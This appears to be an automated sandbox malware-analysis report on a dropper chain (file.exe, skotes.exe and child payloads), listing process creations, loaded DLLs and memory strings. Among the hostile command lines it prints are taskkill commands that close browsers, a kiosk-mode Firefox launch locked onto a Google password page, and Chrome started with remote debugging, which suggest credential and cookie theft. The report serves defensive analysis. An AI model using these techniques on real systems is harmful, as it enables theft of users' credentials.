Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: baacd96df2.exe, 00000009.00000003.2753067748.000000001D805000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3072894182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 43%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 45de1d3aba.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: baacd96df2.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe "C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe"
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2132,i,2194522799737564576,4451323205111552988,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9fcfe91-652a-46e4-bff1-f5e6f037bc26} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 13818b71110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe "C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4012 -parentBuildID 20230927232528 -prefsHandle 4020 -prefMapHandle 4016 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0749eda-8a86-42ec-9730-b28c3a1804d2} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 1382aceab10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe "C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe"
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4492d6da-baf1-4264-9768-f2bb72b60280} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 1c4c2370710 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe "C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe "C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe "C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe "C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe "C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2132,i,2194522799737564576,4451323205111552988,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9fcfe91-652a-46e4-bff1-f5e6f037bc26} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 13818b71110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4012 -parentBuildID 20230927232528 -prefsHandle 4020 -prefMapHandle 4016 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0749eda-8a86-42ec-9730-b28c3a1804d2} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 1382aceab10 rdd
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4492d6da-baf1-4264-9768-f2bb72b60280} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 1c4c2370710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
